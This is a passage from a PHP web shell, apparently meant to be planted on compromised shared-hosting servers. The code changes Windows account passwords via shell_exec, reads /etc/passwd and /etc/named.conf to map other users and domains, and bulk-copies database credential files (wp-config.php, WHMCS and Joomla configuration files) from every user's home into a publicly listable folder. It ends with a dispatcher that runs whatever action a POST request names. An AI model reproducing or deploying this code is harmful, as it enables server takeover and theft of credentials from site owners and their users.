2963 echo $gaya_root."[remove user]-> ".$username." <font color='red'>Faild</font>".$o;
2964 }
2965 }else {
2966 echo $gaya_root."[remove user]-> ".$username." <font color='red'>Not Found</font>".$o;
2967 }
2968 }else {
2969 echo $gaya_root."[Message]=> <font color='red'>You Frogot to Enter a username that will delete</font>".$o;
2970 }
2971}
2972else if($_POST['aksi']=="3"){
2973$username = $_POST['username'];
2974$password = "india";
2975$cmd_cek_user = shell_exec("net user");
2976 if (!empty($username)){
2977 if(preg_match("/$username/", $cmd_cek_user)){
2978 $cmd_add_user = shell_exec("net user ".$username." india123");
2979 if($cmd_add_user){
2980 echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='greenyellow'>Succeed</font>".$o;
2981 }else {
2982 echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='red'>Faild</font>".$o;
2983 }
2984 }else
2985{
2986 echo $gaya_root."[Message]-> <font color='red'>Username is not found in server</font>".$o;
2987}
2988}else
2989{
2990 echo $gaya_root."[Message]-> <font color='red'>You Frogot to Enter a username that will delete</font>".$o;
2991}
2992}
2993}
2994}
2995echo"</pre>
2996</body>
2997</html>";
2998
2999printFooter();
3000}
3001
3002 function actionJumping()
3003{ printHeader();
3004echo '<html><head><title>'.getenv("HTTP_HOST").' - Jumping Server</title></head><body>';
3005($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
3006set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="#e5e5e5" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>'); }
3007$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); }}}$i++;}
3008echo '<font color=red> [-]==================[ Jumping jumping Bro ]==================[-]<br></font>';
3009foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "\n <font color=red><br>[-]==================[ Plzz Wait and Watch ]==================[-] <br></font>\n"; echo '</body></html>';
3010printFooter();
3011}
3012function actionSubdomain() {
3013 printHeader();
3014 error_reporting(0);
3015$user = get_current_user();
3016$open = opendir('/home/' . $user . '/access-logs/');
3017while ($dir = readdir($open)) {
3018 $totalDoamin[] = $dir;
3019}
3020closedir($open);
3021$total = count($totalDoamin);
3022$domain = $total - 2;
3023if ($domain > 0) {
3024 echo "<h2><b><font style=\"color: #a3e956 ;\" > Total </font><font style=\"color: #a3e956; \">" . $domain . "</font><font style=\"color: #a3e956;\" > Sub Domain Found! </font><br><BR>";
3025} else {
3026 echo "<h2><b> <font color='Blue' style=\"color: blue; text-shadow: red 0px 0px 4px ; \">0</font><font style=\"color: #black; text-shadow: black 0px 0px 6px ;\"> Sub Domain Found! </font><br><BR>";
3027}
3028$scan = array_diff(scandir('/home/' . $user . '/access-logs/'), array('.'));
3029$domains = implode("
3030http://", $scan);
3031echo '
3032<style>
3033body {
3034 text-align: center;
3035 }
3036 </style><textarea style="color: #a3e956; background-color: black" rows=\'30\' cols=\'100\'>';
3037print_r($domains);
3038echo '</textarea>';
3039 printFooter();
3040}
3041function actionConfigGrabber() {
3042 printHeader();
3043 error_reporting(0);
3044system('mkdir POPANDA');
3045 chmod('POPANDA', 0777);
3046$users = file("/etc/passwd");
3047 $lolx = array();
3048 foreach ($users as $user) {
3049 $users = explode(":", $user);
3050 $lolx[] = $users[0];
3051 }
3052 foreach ($lolx as $lol) {
3053 $space = "
3054
3055" . "*" . "
3056" . "*" . "
3057" . "*" . "
3058
3059";
3060 if (file_exists('/home/' . $lol . 'public_html/portal/configuration.php')) {
3061 $content = file_get_contents('/home/' . $lol . 'public_html/portal/configuration.php');
3062 $handle = fopen('POPANDA/whm.txt', 'a');
3063 fwrite($handle, $content . $space);
3064 fclose($handle);
3065 } elseif (file_exists('/home/' . $lol . '/public_html/inc/config.php')) {
3066 $content1 = file_get_contents('/home/' . $lol . '/public_html/inc/config.php');
3067 $handle = fopen('POPANDA/config.txt', 'a');
3068 fwrite($handle, $content . $space);
3069 fclose($handle);
3070 } elseif (file_exists('/home/' . $lol . '/public_html/sites/default/settings.php')) {
3071 $content2 = file_get_contents('/home/' . $lol . '/public_html/sites/default/settings.php');
3072 $handle = fopen('POPANDA/config.txt', 'a');
3073 fwrite($handle, $content2 . $space);
3074 fclose($handle);
3075 } elseif (file_exists('/home/' . $lol . '/public_html/includes/configure.php')) {
3076 $content3 = file_get_contents('/home/' . $lol . '/public_html/includes/configure.php');
3077 $handle = fopen('POPANDA/config.txt', 'a');
3078 fwrite($handle, $content3 . $space);
3079 fclose($handle);
3080 } elseif (file_exists('/home/' . $lol . '/public_html/lib/config.php')) {
3081 $content4 = file_get_contents('/home/' . $lol . '/public_html/lib/config.php');
3082 $handle = fopen('POPANDA/config.txt', 'a');
3083 fwrite($handle, $content4 . $space);
3084 fclose($handle);
3085 } elseif (file_exists('/home/' . $lol . '/public_html/config/koneksi.php')) {
3086 $content5 = file_get_contents('/home/' . $lol . '/public_html/config/koneksi.php');
3087 $handle = fopen('POPANDA/config.txt', 'a');
3088 fwrite($handle, $content5 . $space);
3089 fclose($handle);
3090 } elseif (file_exists('/home/' . $lol . '/public_html/vb/includes/config.php')) {
3091 $content6 = file_get_contents('/home/' . $lol . '/public_html/vb/includes/config.php');
3092 $handle = fopen('POPANDA/config.txt', 'a');
3093 fwrite($handle, $content6 . $space);
3094 fclose($handle);
3095 } elseif (file_exists('/home/' . $lol . '/public_html/includes/config.php')) {
3096 $content7 = file_get_contents('/home/' . $lol . '/public_html/includes/config.php');
3097 $handle = fopen('POPANDA/config.txt', 'a');
3098 fwrite($handle, $content7 . $space);
3099 fclose($handle);
3100 } elseif (file_exists('/home/' . $lol . '/public_html/forum/includes/config.php')) {
3101 $content8 = file_get_contents('/home/' . $lol . '/public_html/forum/includes/config.php');
3102 $handle = fopen('POPANDA/config.txt', 'a');
3103 fwrite($handle, $content8 . $space);
3104 fclose($handle);
3105 } elseif (file_exists('/home/' . $lol . '/public_html/cc/includes/config.php')) {
3106 $content9 = file_get_contents('/home/' . $lol . '/public_html/cc/includes/config.php');
3107 $handle = fopen('POPANDA/config.txt', 'a');
3108 fwrite($handle, $content9 . $space);
3109 fclose($handle);
3110 } elseif (file_exists('/home/' . $lol . '/public_html/config.php')) {
3111 $content10 = file_get_contents('/home/' . $lol . '/public_html/config.php');
3112 $handle = fopen('POPANDA/config.txt', 'a');
3113 fwrite($handle, $content10 . $space);
3114 fclose($handle);
3115 } elseif (file_exists('/home/' . $lol . '/public_html/forum/includes/config.php')) {
3116 $content11 = file_get_contents('/home/' . $lol . '/public_html/forum/includes/config.php');
3117 $handle = fopen('POPANDA/config.txt', 'a');
3118 fwrite($handle, $content11 . $space);
3119 fclose($handle);
3120 } elseif (file_exists('/home/' . $lol . '/public_html/wp-config.php')) {
3121 $content12 = file_get_contents('/home/' . $lol . '/public_html/wp-config.php');
3122 $handle = fopen('POPANDA/config.txt', 'a');
3123 fwrite($handle, $content12 . $space);
3124 fclose($handle);
3125 } elseif (file_exists('/home/' . $lol . '/public_html/blog/wp-config.php')) {
3126 $content13 = file_get_contents('/home/' . $lol . '/public_html/blog/wp-config.php');
3127 $handle = fopen('POPANDA/config.txt', 'a');
3128 fwrite($handle, $content13 . $space);
3129 fclose($handle);
3130 } elseif (file_exists('/home/' . $lol . '/public_html/wp/wp-config.php')) {
3131 $content14 = file_get_contents('/home/' . $lol . '/public_html/wp/wp-config.php');
3132 $handle = fopen('POPANDA/config.txt', 'a');
3133 fwrite($handle, $content14 . $space);
3134 fclose($handle);
3135 } elseif (file_exists('/home/' . $lol . '/public_html/home/wp-config.php')) {
3136 $content15 = file_get_contents('/home/' . $lol . '/public_html/home/wp-config.php');
3137 $handle = fopen('POPANDA/config.txt', 'a');
3138 fwrite($handle, $content15 . $space);
3139 fclose($handle);
3140 } elseif (file_exists('/home/' . $lol . '/public_html/wp-config.php')) {
3141 $content16 = file_get_contents('/home/' . $lol . '/public_html/wp-config.php');
3142 $handle = fopen('POPANDA/config.txt', 'a');
3143 fwrite($handle, $content16 . $space);
3144 fclose($handle);
3145 } elseif (file_exists('/home/' . $lol . '/public_html/main/wp-config.php')) {
3146 $content17 = file_get_contents('/home/' . $lol . '/public_html/main/wp-config.php');
3147 $handle = fopen('POPANDA/config.txt', 'a');
3148 fwrite($handle, $content17 . $space);
3149 fclose($handle);
3150 } elseif (file_exists('/home/' . $lol . '/public_html/site/wp-config.php')) {
3151 $content18 = file_get_contents('/home/' . $lol . '/public_html/site/wp-config.php');
3152 $handle = fopen('POPANDA/config.txt', 'a');
3153 fwrite($handle, $content18 . $space);
3154 fclose($handle);
3155 } elseif (file_exists('/home/' . $lol . '/public_html/configuration.php')) {
3156 $content19 = file_get_contents('/home/' . $lol . '/public_html/configuration.php');
3157 $handle = fopen('POPANDA/config.txt', 'a');
3158 fwrite($handle, $content19 . $space);
3159 fclose($handle);
3160 } elseif (file_exists('/home/' . $lol . '/public_html/blog/configuration.php')) {
3161 $content20 = file_get_contents('/home/' . $lol . '/public_html/blog/configuration.php');
3162 $handle = fopen('POPANDA/config.txt', 'a');
3163 fwrite($handle, $content20 . $space);
3164 fclose($handle);
3165 } elseif (file_exists('/home/' . $lol . '/public_html/joomla/configuration.php')) {
3166 $content21 = file_get_contents('/home/' . $lol . '/public_html/joomla/configuration.php');
3167 $handle = fopen('POPANDA/config.txt', 'a');
3168 fwrite($handle, $content21 . $space);
3169 fclose($handle);
3170 } elseif (file_exists('/home/' . $lol . '/public_html/main/configuration.php')) {
3171 $content22 = file_get_contents('/home/' . $lol . '/public_html/main/configuration.php');
3172 $handle = fopen('POPANDA/config.txt', 'a');
3173 fwrite($handle, $content22 . $space);
3174 fclose($handle);
3175 } elseif (file_exists('/home/' . $lol . '/public_html/home/configuration.php')) {
3176 $content23 = file_get_contents('/home/' . $lol . '/public_html/home/configuration.php');
3177 $handle = fopen('POPANDA/config.txt', 'a');
3178 fwrite($handle, $content23 . $space);
3179 fclose($handle);
3180 } elseif (file_exists('/home/' . $lol . '/public_html/site/configuration.php')) {
3181 $content24 = file_get_contents('/home/' . $lol . '/public_html/site/configuration.php');
3182 $handle = fopen('POPANDA/config.txt', 'a');
3183 fwrite($handle, $content24 . $space);
3184 fclose($handle);
3185 } elseif (file_exists('/home/' . $lol . '/public_html/whm/configuration.php')) {
3186 $content25 = file_get_contents('/home/' . $lol . '/public_html/whm/configuration.php');
3187 $handle = fopen('POPANDA/config.txt', 'a');
3188 fwrite($handle, $content25 . $space);
3189 fclose($handle);
3190 } elseif (file_exists('/home/' . $lol . '/public_html/whmc/configuration.php')) {
3191 $content26 = file_get_contents('/home/' . $lol . '/public_html/whmc/configuration.php');
3192 $handle = fopen('POPANDA/config.txt', 'a');
3193 fwrite($handle, $content26 . $space);
3194 fclose($handle);
3195 } elseif (file_exists('/home/' . $lol . '/public_html/support/configuration.php')) {
3196 $content27 = file_get_contents('/home/' . $lol . '/public_html/support/configuration.php');
3197 $handle = fopen('POPANDA/config.txt', 'a');
3198 fwrite($handle, $content27 . $space);
3199 fclose($handle);
3200 } elseif (file_exists('/home/' . $lol . '/public_html/client/configuration.php')) {
3201 $content28 = file_get_contents('/home/' . $lol . '/public_html/client/configuration.php');
3202 $handle = fopen('POPANDA/config.txt', 'a');
3203 fwrite($handle, $content28 . $space);
3204 fclose($handle);
3205 } elseif (file_exists('/home/' . $lol . '/public_html/billings/configuration.php')) {
3206 $content29 = file_get_contents('/home/' . $lol . '/public_html/billings/configuration.php');
3207 $handle = fopen('POPANDA/config.txt', 'a');
3208 fwrite($handle, $content29 . $space);
3209 fclose($handle);
3210 } elseif (file_exists('/home/' . $lol . '/public_html/billing/configuration.php')) {
3211 $content30 = file_get_contents('/home/' . $lol . '/public_html/billing/configuration.php');
3212 $handle = fopen('POPANDA/config.txt', 'a');
3213 fwrite($handle, $content30 . $space);
3214 fclose($handle);
3215 } elseif (file_exists('/home/' . $lol . '/public_html/clients/configuration.php')) {
3216 $content31 = file_get_contents('/home/' . $lol . '/public_html/clients/configuration.php');
3217 $handle = fopen('POPANDA/config.txt', 'a');
3218 fwrite($handle, $content31 . $space);
3219 fclose($handle);
3220 } elseif (file_exists('/home/' . $lol . '/public_html/whmcs/configuration.php')) {
3221 $content32 = file_get_contents('/home/' . $lol . '/public_html/whmcs/configuration.php');
3222 $handle = fopen('POPANDA/config.txt', 'a');
3223 fwrite($handle, $content32 . $space);
3224 fclose($handle);
3225 } elseif (file_exists('/home/' . $lol . '/public_html/order/configuration.php')) {
3226 $content33 = file_get_contents('/home/' . $lol . '/public_html/order/configuration.php');
3227 $handle = fopen('POPANDA/config.txt', 'a');
3228 fwrite($handle, $content33 . $space);
3229 fclose($handle);
3230 } elseif (file_exists('/home/' . $lol . '/public_html/admin/conf.php')) {
3231 $content34 = file_get_contents('/home/' . $lol . '/public_html/admin/conf.php');
3232 $handle = fopen('POPANDA/config.txt', 'a');
3233 fwrite($handle, $content34 . $space);
3234 fclose($handle);
3235 } elseif (file_exists('/home/' . $lol . '/public_html/admin/config.php')) {
3236 $content35 = file_get_contents('/home/' . $lol . '/public_html/admin/config.php');
3237 $handle = fopen('POPANDA/config.txt', 'a');
3238 fwrite($handle, $content35 . $space);
3239 fclose($handle);
3240 } elseif (file_exists('/home/' . $lol . '/public_html/conf_global.php')) {
3241 $content36 = file_get_contents('/home/' . $lol . '/public_html/conf_global.php');
3242 $handle = fopen('POPANDA/config.txt', 'a');
3243 fwrite($handle, $content36 . $space);
3244 fclose($handle);
3245 } elseif (file_exists('/home/' . $lol . '/public_html/include/db.php')) {
3246 $content37 = file_get_contents('/home/' . $lol . '/public_html/include/db.php');
3247 $handle = fopen('POPANDA/config.txt', 'a');
3248 fwrite($handle, $content37 . $space);
3249 fclose($handle);
3250 } elseif (file_exists('/home/' . $lol . '/public_html/connect.php')) {
3251 $content38 = file_get_contents('/home/' . $lol . '/public_html/connect.php');
3252 $handle = fopen('POPANDA/config.txt', 'a');
3253 fwrite($handle, $content38 . $space);
3254 fclose($handle);
3255 } elseif (file_exists('/home/' . $lol . '/public_html/mk_conf.php')) {
3256 $content39 = file_get_contents('/home/' . $lol . '/public_html/mk_conf.php');
3257 $handle = fopen('POPANDA/config.txt', 'a');
3258 fwrite($handle, $content39 . $space);
3259 fclose($handle);
3260 } elseif (file_exists('/home/' . $lol . '/public_html/include/config.php')) {
3261 $content40 = file_get_contents('/home/' . $lol . '/public_html/include/config.php');
3262 $handle = fopen('POPANDA/config.txt', 'a');
3263 fwrite($handle, $content40 . $space);
3264 fclose($handle);
3265 } elseif (file_exists('/home/' . $lol . '/public_html/settings.php')) {
3266 $content41 = file_get_contents('/home/' . $lol . '/public_html/settings.php');
3267 $handle = fopen('POPANDA/config.txt', 'a');
3268 fwrite($handle, $content41 . $space);
3269 fclose($handle);
3270 } elseif (file_exists('/home/' . $lol . '/public_html/includes/functions.php')) {
3271 $content42 = file_get_contents('/home/' . $lol . '/public_html/includes/functions.php');
3272 $handle = fopen('POPANDA/config.txt', 'a');
3273 fwrite($handle, $content42 . $space);
3274 fclose($handle);
3275 } elseif (file_exists('/home/' . $lol . '/public_html/include/db.php')) {
3276 $content43 = file_get_contents('/home/' . $lol . '/public_html/include/db.php');
3277 $handle = fopen('POPANDA/config.txt', 'a');
3278 fwrite($handle, $content43 . $space);
3279 fclose($handle);
3280 }
3281 }
3282 $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/POPANDA/';
3283 if (file_exists("POPANDA/config.txt")) {
3284 echo '<h3 class="POPANDA"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></h3>';
3285 $myfile = fopen("POPANDA/.htaccess", "w") or die("Unable to open file!");
3286$txt = "Options +Indexes";
3287fwrite($myfile, $txt);
3288fclose($myfile);
3289 } else {
3290 echo '<h3 class="POPANDA"><center><a href="' . $url . '" target="_blank"> 0 Config Grab BC </a></h3>';
3291 }
3292
3293 printFooter();
3294}
3295
3296function actionShared() {
3297 printHeader();
3298 $file = @implode(@file("/etc/named.conf"));
3299if (!$file) {
3300die("# can't ReaD -> [ /etc/named.conf ]");
3301}
3302preg_match_all("#named/(.*?).db#", $file, $r);
3303$domains = array_unique($r[1]);
3304{
3305foreach ($domains as $domain) {
3306$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
3307$array= "http://$domain " . $user['name'] . "<br>";
3308$lol= '' . get_current_user();
3309if (strpos($array, "$lol") !== false) {
3310$shared = str_replace(array(" $lol"), "", $array);
3311echo "<center>$shared";
3312}
3313}
3314}
3315 printFooter();
3316}
3317
3318if( empty($_POST['a']) )
3319 if(isset($default_action) && function_exists('action' . $default_action))
3320 $_POST['a'] = $default_action;
3321 else
3322 $_POST['a'] = 'SecInfo';
3323if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3324 call_user_func('action' . $_POST['a'])
3325?>